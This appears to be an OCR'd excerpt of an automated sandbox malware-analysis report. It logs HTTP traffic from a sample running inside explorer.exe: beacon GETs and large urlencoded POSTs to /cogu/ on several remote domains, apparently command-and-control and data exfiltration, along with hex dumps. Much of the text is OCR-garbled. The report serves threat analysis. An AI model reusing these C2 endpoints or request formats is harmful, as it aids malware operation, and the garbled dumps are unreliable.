61 6a 61 78 2f 6¢ 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3¢
2f 7363 72 69 70 74 3e 0d Oa 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 7
661 73 637269 70 74 22 20 6¢ 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d Oa 20 20 20 20 20
202020202020 20 76 61 72 20 75 72 6¢ 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e
63 6f 6d 2f 3f 64 6e 3d 27 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f
6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0Oa 0d Oa 20 20 20 20 20 20 20 20 20 20 20
20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d Oa 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2¢ 20 75 72
6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e
0d 0Oa 20 20 20 20 3c 2f 68 65 61 64 3e 0d Oa 20 20 20 20 3c 62 6f 64 79 3e 0d Oa 20 20 20 20 20 20 20 20 3c 69 66 72 61
6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76
69 74 79 2e 63 6f 6d 2f 22 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73
63 72 6f 6¢ 6¢ 69 6e 67 3d 22 6e 6f 22 3e 0d Oa 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73
65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d Oa 0d Oa 20 20 20 20
2020 20 20 3c 2f 69 66 72 61 6d 65 3e 0d Oa 20 20 20 20 3c 2f 62 6f 64 79 3e 0d Oa 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa
Data Ascii: <IDOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #
ad_frame{ height:800pXx; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//aj
ax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavasS
cript"> var url = ‘http://www.searchvity.com/?dn=" + document.domain + '&pid=9POL6F2H4"; $(do
cument).ready(function() { $(*#ad_frame').attr('src’, url); b; </script> </head> <body> <ifra

me id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not
support iframe’s --> <f/iframe> </body></htm|>

Destination IP Destination Port Process

66.96.130.148 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=Vt5Qt20mygQqgSIUs1LnTjIm5PAf0+j+U7GfZi7PpDW7/xLcDx4cEzk7U78MhAa3f93Z&EVpdF=DEAIWhC
HTTP/1.1

Host: www.fishermandm.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Oct 13, 2021 8376
15:53:21.527144909 CEST

Session ID Source IP

57 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 8430

15:53:26.696922064 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49854

Direction
ouT

Data

HTTP/1.1 404 Not Found

Date: Wed, 13 Oct 2021 13:53:21 GMT

Content-Type: text/html

Content-Length: 867

Connection: close

Server: Apache/2

Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT

Accept-Ranges: bytes

Age: 0

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 0d Oa 20 20 20 20 3c 68 65 61 64
3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46
6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 20 20 20 20 20 20 20 20 3¢ 73 74 79 6¢ 65 3e 0d 0a 20 20 20 20 20 20 20 20 20
2020 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b
20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a
2030 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d Oa 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0d 0a 20 20 2
020202020 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f
61 6a 61 78 2f 6¢ 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3¢
2f 7363 72 69 70 74 3e 0d Oa 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 7
661 73 637269 70 74 22 20 6¢ 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d Oa 20 20 20 20 20
202020202020 20 76 61 72 20 75 72 6¢ 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e
63 6f 6d 2f 3f 64 6e 3d 27 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f
6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0Oa 0d Oa 20 20 20 20 20 20 20 20 20 20 20
20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d Oa 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2¢ 20 75 72
6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e
0d 0Oa 20 20 20 20 3c 2f 68 65 61 64 3e 0d Oa 20 20 20 20 3c 62 6f 64 79 3e 0d Oa 20 20 20 20 20 20 20 20 3c 69 66 72 61
6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76
69 74 79 2e 63 6f 6d 2f 22 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73
63 72 6f 6¢ 6¢ 69 6e 67 3d 22 6e 6f 22 3e 0d Oa 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73
65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d Oa 0d Oa 20 20 20 20
2020 20 20 3c 2f 69 66 72 61 6d 65 3e 0d Oa 20 20 20 20 3c 2f 62 6f 64 79 3e 0d Oa 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa
Data Ascii: <IDOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #
ad_frame{ height:800pXx; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//aj
ax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavasS
cript*> var url = ‘http://www.searchvity.com/?dn=" + document.domain + '&pid=9POL6F2H4'; $(do
cument).ready(function() { $(*#ad_frame').attr('src’, url); b; </script> </head> <body> <ifra

me id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not
support iframe’s --> <f/iframe> </body></htm|>

Destination IP Destination Port Process

192.64.116.180 80 C:\Windows\explorer.exe

Data

POST /cogu/ HTTP/1.1

Host: www. high-clicks.com

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.high-clicks.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.high-clicks.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 72 62 31 33 34 4c 4c 5a 69 4a 71 65 45 7a 6¢ 79 59 66 75 38 49 66 28 52 4b 54 55 49 72 46 46 66 48
7a 6b 31 6e 45 59 6f 4d 4d 66 63 45 59 46 6¢ 30 52 36 64 37 74 58 74 58 6f 28 50 6d 4a 44 52 35 73 47 42 4d 76 5a 47
65 71 56 67 56 39 56 6b 46 31 50 72 39 5f 57 6e 6d 63 67 68 6a 52 34 4e 61 4d 7e 61 35 6f 5a 76 4e 62 54 70 35 57 64
5a 59 50 57 4c 33 30 7e 59 43 68 57 37 38 33 6f 71 59 36 59 70 6e 74 33 32 51 42 51 34 78 73 78 4c 32 52 37 32 68 67 4
a 65 64 48 45 70 4f 32 51 68 4d 57 65 31 43 5a 63 75 51 66 6b 4a 37 6b 47 44 33 52 6f 54 6d 64 56 47 31 30 58 50 68 5f
56 49 52 50 4c 75 4c 68 4b 4f 63 68 42 41 47 75 6e 75 52 49 6a 57 69 71 6f 76 6d 47 53 48 77 70 4e 61 73 70 37 58 64 61
6d 4b 54 36 47 48 31 5f 34 59 41 31 78 4f 55 39 49 44 50 47 34 4a 4d 44 75 67 6¢ 58 58 56 5a 46 28 63 7a 4e 5a 77 4b
38 67 4f 6e 32 64 59 70 36 4a 43 76 50 62 42 6e 75 75 61 33 39 45 30 77 4f 7e 6e 6b 34 74 7a 34 2d 71 63 32 63 63 38
35 6a 5a 54 34 6d4d 77 72 79 73 4¢c 68 49 64 69 49 7a 31 5f 66 42 72 7a 38 54 49 70 51 70 73 48 4c 42 6e 64 42 56 4f
2d 34 76 72 37 70 36 4c 51 45 57 64 4a 41 30 44 5a 35 57 50 6a 62 73 71 42 4c 74 63 68 7a 58 70 43 63 44 65 48 42 36
76 6b 4e 4f 4e 47 44 5f 28 6e 43 4f 65 46 44 54 4b 61 79 68 64 4b 46 47 74 31 28 4a 61 4b 33 38 75 4b 38 67 69 64 47 6b
78 79 6d 41 53 75 64 6d 73 33 4c 4b 36 7a 62 54 73 59 54 64 71 47 6d 35 6a 5a 4c 45 39 33 54 6f 50 33 64 50 44 4b 45
4e 31 2d 6a 44 52 78 72 68 66 78 7e 61 4c 57 53 32 65 57 59 6f 34 39 52 5a 4a 34 58 67 4d 4f 67 6f 63 63 45 77 6d 68 74
6b 39 73 46 57 50 48 5a 71 75 5a 79 53 66 72 32 51 70 2d 52 58 79 4a 30 54 64 48 53 74 35 61 74 7a 75 4e 48 53 6f 6e
53 57 63 5a 35 57 65 31 79 5a 6b 64 6a 6a 66 35 4a 5a 68 6e 75 6d 6b 76 50 5f 71 66 28 2d 79 70 53 71 7a 2d 6f 39 30
4d 57 77 52 37 4c 38 6b 39 77 39 7a 6b 78 4b 78 4d 74 31 4c 4c 66 37 75 79 70 78 59 2d 56 71 7a 6b 67 63 6¢ 67 7a 4C
52 73 65 58 6¢ 43 58 35 4b 6f 4e 53 67 36 61 77 6f 5f 52 4c 6e 4a 30 7a 56 2d 31 47 73 76 56 68 61 6e 52 6e 70 74 58 38
6c 6a 66 61 66 4d 47 4f 63 52 44 4a 33 69 43 54 67 49 58 56 42 31 6f 53 55 71 6a 4a 50 74 31 34 50 54 41 7a 70 71 31
65 28 6¢ 79 69 5a 50 4d 32 69 4e 76 50 4e 43 77 59 49 52 59 4e 52 57 52 73 65 44 78 41 6a 6d 51 65 51 42 54 53 75 41
28 65 62 32 38 66 45 50 45 4a 77 37 7e 66 70 37 54 56 76 69 43 69 30 74 32 35 6e 6f 28 41 48 7a 52 77 4b 46 77 43 70
4f 76 53 52 4d 52 63 36 71 77 36 70 59 30 79 31 36 4e 38 31 6e 49 77 79 38 6d 53 79 77 33 34 46 65 30 69 32 50 54 51
4c 537539 7a 7349 46 61 71 67 69 7a 4¢c 5a 67 44 7a 73 66 4f 42 4f 30 46 78 30 49 72 39 76 76 45 56 52 4f 65 37 6¢ 6e
39 70 4c 6e 37 65 79 76 4d 6f 4c 64 31 49 53 6a 64 67 38 54 6b 49 4f 6f 70 2d 43 79 4c 4c 50 5f 6¢ 62 4e 39 45 4b 28 57
54 3830 61 79 76 34 52 63 69 61 6b 30 6f 69 42 46 5a 72 77 55 4f 72 72 48 41 68 75 69 55 56 59 74 48 7e 70 49 72 35
47 51 48 69 66 69 6¢ 6d 78 69 36 6¢ 77 43 48 64 41 6b 66 56 6 4¢c 71 55 38 61 67 67 6a 55 75 32 70 47 65 41 55 57 63
38 4c 4554 3539 32 3331 75 35 62 38 50 4e 4c 46 64 50 55 28 77 34 69 51 4e 4a 44 28 4d 71 48 28 5f 4c 75 7a 68 65
4970 53 32 4b 6e 51 38 48 32 48 35 35 75 72 75 6¢ 77 34 47 53 33 2d 5a 4e 74 79 66 73 45 4f 50 75 6b 6a 36 4e 6a 48
6b 77 50 42 57 71 53 75 37 6f 57 68 42 78 57 4c 5a 38 64 64 6e 6b 47 70 54 70 32 48 28 37 53 63 41 53 4b 6a 38 55 36

BN AR R7 Ar 2N 75 RO Ar AR R2 Ad B1 Ar RQ 72 4 Ar AR A2 Re 75 AR A2 A2 Rh RR K1 Re Ar AR 24 KR KN KR KA RR RA Rf 2R
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kBytes
Timestamp transferred

Oct 13, 2021 8550
15:53:27.468034983 CEST

Session ID Source IP

58 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 8550

15:53:28.869091034 CEST

Copyright Joe Security LLC 2021

Direction

Source Port
49855

Direction

ouT

37 71 65 66 45 59 5a 68 71 31 75 5a 67 70 41 65 65 47 41 43 6e 6f 6e 42 5a 4e 73 53 66 77 6¢ 32 28 77 4c 31 45 6d 55
Bats 63 70 7a 42 67 71 53 6d 46 7e 75 45 2d 64 4c 4b 50 5a 5f 4b 46 39 6f 30 6d 6f 53 34 61 45 6¢ 6d 48 67 34 34 31 31
59 4c 4a 6a 65 35 44 59 34 53 38 32 65 6b 34 41 4d 58 71 48 66 7a 36 59 59 79 4c 56 71 69 74 38 7a 58 38 37 37 43 57
7a 55 42 61 62 6f 64 2d 74 4d 32 79 6b 55 77 4c 79 77 55 34 50 75 4b 51 56 68 71 56 78 7a 39 57 59 6e 48 6f 73 79 67 78
53 75 7a 4a 33 4d 45 48 56 57 69 49 44 6¢ 6b 4b 36 59 58 35 4f 36 79 45 72 54 6f 6d 6e 4b 70 54 32 58 74 39 31 75 39 6f
4a 45 4d 41 47 70 32 33 42 4b 51 32 77 56 75 35 56 38 66 51 48 52 57 50 77 53 31 6b 6d 49

Data Ascii: E6=rb134LLZiJgeEzlyYfu8If(RKTUIrFFfHzk1nEYoMMfcEYFIOR6d7tXtXo(PmJDR5sGBMvZGeqVgVIVkF1Pr9
_WnmcghjR4NaM~a50ZvNbTp5WdZYPWL30~YChW7830qY6Ypnt32QBQ4xsxL2R72hgJedHEpO2QhMWelC
ZcuQfkJ7kGD3RoTmdVG10XPh_VIRPLULhKOchBAGunuRIjWigovmGSHwpNasp7XdamKT6GH1_4YA1xOU
9IDPG4JIMDugIXXVZF(czNZwK8gOn2dYp6JCvPbBnuua39EOwWO~nk4tz4-qc2cc85)ZTAmMwrysLhlidilzl_{Brz8TI
pQpsHLBNdBVO-4vr7p6LQEWdJIAODZ5WPjbsqBLtchzXpCcDeHB6VKNONGD_(nCOeFDTKayhdKFGt1(JaK38uK8gidG
kxymASudms3LK6zbTsYTdqGm5jZLE93ToP3dPDKEN1-jDRxrhfx~aLWS2eWY 049RZJ4XgMOgoccEwmhtk9sFWPHZqu
ZySfr2Qp-RXyJOTdHSt5atzuNHSonSWcZ5WelyZkdjjf5JZhnumkvP_qgf(-ypSgz-090MWwWR7L8kOw9zkxKxMt1LLf7uypxY-
VgzkgclgzLRseXICX5KoNSg6awo_RLnJ0zV-1GsvVhanRnptX8ljffafMGOcRDJ3iCTgIXVB1oSUqjJPt14PTAzpgle(ly
iZPM2iNVPNCwYIRYNRWRseDxAjmQeQBTSuA(eb28fEPEJw7~fp7TVViCiOt25no(AHZRWKFwCpOVvSRMRc6qw6pY0y1
6N81nlwy8mSyw34Fe0i2PTQLSu9zsIFaqgizLZgDzsfOBOOFx0Ir9vwEVROe7In9pLn7eyvMoLd11Sjdg8TkiOop-C
yLLP_IbN9EK(WT80ayv4Rciak0oiBFZrwUOrrHAhuiUVYtH~pIr5GQHifilmxi6lwCHdAkfVnLqU8aggjUu2pGeAUW
Cc8LET59231u5b8PNLFdPU(W4iQNJID(MgH(_LuzhelpS2KnQ8H2H55urulw4GS3-ZNtyfsEOPukj6NjHkwPBWqSu7oW
hBxWLZ8ddnkGpTp2H(7ScASKj8U6PHgIOuilCRMQLis4LEBNUEBCkfQnLH4XPVThdo67qefEYZhqluZgpAeeGACnon
BZNsSfwl2(wL1EmUD6cpzBgqSmF~uE-dLKPZ_KF900moS4aEImHg4411YLJje5DY4S82ek4AMXgHz6Y YyLVqit8zX
877CWzUBabod-tM2ykUwLywU4PuKQVhqVxz9WYnHosygxSuzJ3MEHVWIiIDIKK6YX506yErTomnKpT2Xt91u90JEMAG
p23BKQ2wVu5V8fQHRWPwWS1kmlcPS4USfEmr(f2sbLWfMZSUUjRNhPEUFHX_qYuONMgkGQ5efvndsfZdDXc2PCt41Bh
L(NevQMIWTbFS9wiX3_gc4-ovI9SFFUHFShbmpKYzMsp6JGOTiO0arMiydnXMLg7kRDOsfwCzghogXM6VniJRCALIY
AQV~TXyhxKL5TbGFbrB(WecsRKk8Pxwa0(Kk_ACQspPuU3BLb6qlg(Es6LMORUwvgNtcTgHIsQfqLI10tkUGwgqc4 T
UtVOycnsMgkV2zBnrOm~T4v67FZv1kE3hIrkDKHjQJQY1J6aTx_|7VWnICBWThawTOdFO(BFz0L3YJ82hQWCC1L3xU
ntM79rQEH5E3bKODfA4Xj82p-UghmmTSgF867NB(DTeFHX_S5DQQ_0Tr2MDLAVdjRqzhXXNRmMSGOWUXTSMTRFT-
Zbc1llO6RVtfxphA016Tgloj3SS90H2jAnSTN2ebliS6m(d~J3HIB(N(9DBylgm6y80qlvgjvyhVmJegSilys4rD_b4iMk
12BIPIpM55yxG9sgdU6DuxhRe5G34Yd9Aa5JhLvrowvdQQWbWjwQ6qUrnHbXmtmBXm6Z9~d4sO5b8IBOZL8r4h9L2z
coTKqyOgNpDfHDIOV4eyYFkIQTbAmtMczJgodnsm9jY~603WHgTolTIxaRQmm47RRqYHf6gbwgwOoumTeg0o2blHOC
YQQgPRcYX7GEVPfEVK~iSO4qMIgIM7LmonUmS41_A01vPwJHfTtaoeh-KGiOcVXpbhgAkmV1g04aEViussuO1MZFEaO
rmYbBfRxsC8JU7vSN40M_w2Tzy3SsVKICAr7E2jPLAuxmnbeX6AxAmiiaXgnciyBmPXd5BpoUVjAsOOHmMWiSrgWVIT
ImO59uhBmIC8nbNgYNWrQ~c5zTGwbITLNS_5_s5Q_3UTIKLTfvp(VEMxPewXIRCFmMP3CS3xqTdrkpa2LD~7XLITJ6z
26f12Y3HQCM7V~UtqaO~rIXhuSPx506sQVhAKzO5F2A3EeLojrptUfeyFk6(_b2Vf77cGvhSR7UCH7awknHpjiMxm$S
9DIi4jCiVDpQ70jkCyy83D0zThbyRHAFFNkfp-EXLQbBmb5iohtFObwriy(AmcZGHDg59B0gVO89B5lynDIXIBTM2FG
KBQXELLN6uaOjdtPOWgGpNOoKirOtG-al8hb31C9glbX29Ykvy6elxBQIMKWjulyTI-E5rxV7SLAHDSEfREVIMDpL(
KYSf8fnmjoftijw67L-h7WTqRKIpQShER2zG7usHNHOT1LsixWUpJh70sssfZmZrl(ozpObja(IPYJCdIFCUe6qV1R
t5XAHgVRTIVK45p(7AzkDLMPViIHOO08MOduk57HsX(MZYQpg59vM9VngX8N5yNkeKOEBXfH6NN5SkgchS52Yfltalgs
Ze0xX~rtxWWabSBSIUWt{Tf2c6oMezlyawBPYpHVzZNPAzZTOpxpObMQMFJIgqOEJ3GAIkoR~Mm87XDCuOh
KJAMECbkN46fRUoCw8tnAnjx5EpMnX-45Xqt50RYSN_AtxBISI_i_elabkSY6JUt3ij~LcljrooCMRNi38aM2kGILvqvdSkSh1Tt
3KRyW7ID7x9i0ubpGkVg0c9Ylojk81dFlIZXavRcwWjUjcDREc3x74c~ujexM01CCit~nBOvhFnBZEe~uJ94CSibva
F1fKhRM8QQKKF89vXWN0oX90Qghi0JKzhMEtTOFir7L8eLOHS9umJIVBj-LUaMkQaXQmSmfMAXI5YFgznu(84AsZAgK
h3pOuSNW4fecQVN1E94HLggXQyg2t8vIUFeRHIFUBW7S3DcBKjOmMvF3ZbbK6BvCojRWBGp3sFcICmKsPeCOGYOeDB4
5hwMIMdSi3R5A06 TWAS5AVSd2hTEDjNbEHPCju2cGTqtt89HVKIXNIY EupP2zxgg8-7ZKLdIVXAITXtXLG8hOtkFdT(
hOfDpRIYCNuPdrPIm7J~T52JGKxrLOpeYZCI8COzxRp17¢_9nzXrrlyamR7ChB_eqx-CR1iR4YOtNYDXPRUU4AW67IL
G1ssvDyAMZnSKalTIIRXXHDyVUGv-ejR8h_cBkxUg3B(allY4AMUDatO3UffOL7s4sjcHjLIMaew9PhiuhCkdTS_zjB
1igi218IpTjhj4LYg22ldkejd2cAopmaz(Xnl9Yw_F1x0AXNMMVS1hbdkUdJIbEwyqelXQ0XufefLY DsxBfi8dvuXExp2uXKCs88q
UyyjG3prwM4xjDFnmwtHUcwifwGDLWENKWUFXC8ZBzfqEmTTECseeRnNipcyfU5Z-AUeFqw400iEt]Y(NRANzpVKi4
kCPB3HmY5XdVWXf9sijaeBAfiwP7raBllIWXcz5v(KCEhUTq1hGTrsTh4m6QdYICNQB7XTKMvAZmhDzPkI152-toyaf
E9TeOOqLOsFRDak1th90nZaX7MGYET3jDQOpEbFTBULfDBGLQZDEZzgxrve96twwI8AxMc3p0IOMELAR(fR3JWd_3Fa
Ry1w-PB0gqYHmM5k7Q92nUgpuiRb4WtCr3clcbhDslaLSTGOvSunLUtmCh6zR(m9cX-bVK6bFCjNyhsPXE6K8vkmhk_e
aBi7SIbHtZausSVyLDsP YjwQUtaXqwywrEMnutgJxd-paMOXmrBtkbL793ZEvVPPKNTWRd80~I3DsHQNOULjjFBDm3q
z26a_g54s0T56p9Y27GfLMMf-ytzoyN5nhQfUJ

HTTP/1.1 404 Not Found

Date: Wed, 13 Oct 2021 13:53:26 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 281

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66 6f
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70
61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 68 69 67 68
2d 63 6¢ 69 63 6b 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0/EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.high-clicks.com Port 80</address></body></htm|>

Destination IP Destination Port Process
192.64.116.180 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=kZBNmw9/eiuWktgT/6kcZDtIw48mlhVfm1ri0sSAffAJ4dIXBHSptGOKbrWsOvy+Lgt&EVpdF=DEAIWhC
HTTP/1.1

Host: www. high-clicks.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Oct 13, 2021 8551
15:53:29.109446049 CEST

Session ID Source IP

59 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 8561

15:53:36.049118042 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49857

Direction

ouT

Data

HTTP/1.1 404 Not Found

Date: Wed, 13 Oct 2021 13:53:28 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 281

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3¢ 62 6f 64 79 3e 0a 3¢ 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c¢ 20 77 61 73 20 6e 6f 74 20 66 6f
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70
61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 68 69 67 68
2d 63 6¢ 69 63 6b 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.high-clicks.com Port 80</address></body></html>

Destination IP Destination Port Process

216.189.108.75 80 C:\Windows\explorer.exe

Data

POST /cogu/ HTTP/1.1

Host: www.tpmionline.com

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.tpmionline.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.tpmionline.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 66 37 4e 43 71 33 70 65 49 4f 6¢ 69 50 33 6e 34 71 78 5a 6b 64 6f 59 35 48 64 4a 72 38 69 42 4f 53
4e 4b 6b 37 4b 7e 67 59 5f 71 59 6e 6b 44 51 6f 2d 44 63 45 5f 47 6d 73 79 42 70 63 33 6e 43 45 59 73 58 4¢ 66 50 73 73
4f 41 68 65 53 58 32 4e 54 71 69 31 50 37 4d 44 65 6e 63 7e 69 41 69 31 50 61 57 69 65 42 39 58 51 7e 54 71 68 6¢ 46
55 4f 74 37 33 59 76 4b 30 4d 62 4e 43 6b 45 79 6a 4a 6¢ 36 7e 38 75 42 37 34 65 4f 52 6e 59 30 46 4d 58 5f 44 50 69 68
55 78 63 6a 6b 49 6f 57 7e 72 6d 31 47 57 75 62 51 70 42 42 45 7a 64 72 7a 67 4a 5f 37 62 6e 43 58 53 69 4e 4a 36 76
7139 61 39 59 31 4e 31 63 59 56 7e 65 72 4d 30 74 28 54 36 57 45 6d 6e 4b 49 2d 6b 56 36 64 53 49 78 4f 53 46 54 48 5
54e 42 54 6a 38 6e 6d 77 44 32 72 46 63 34 53 57 44 33 6f 38 57 72 35 72 69 34 74 43 62 31 6¢ 56 38 72 52 6e 5f 30 47
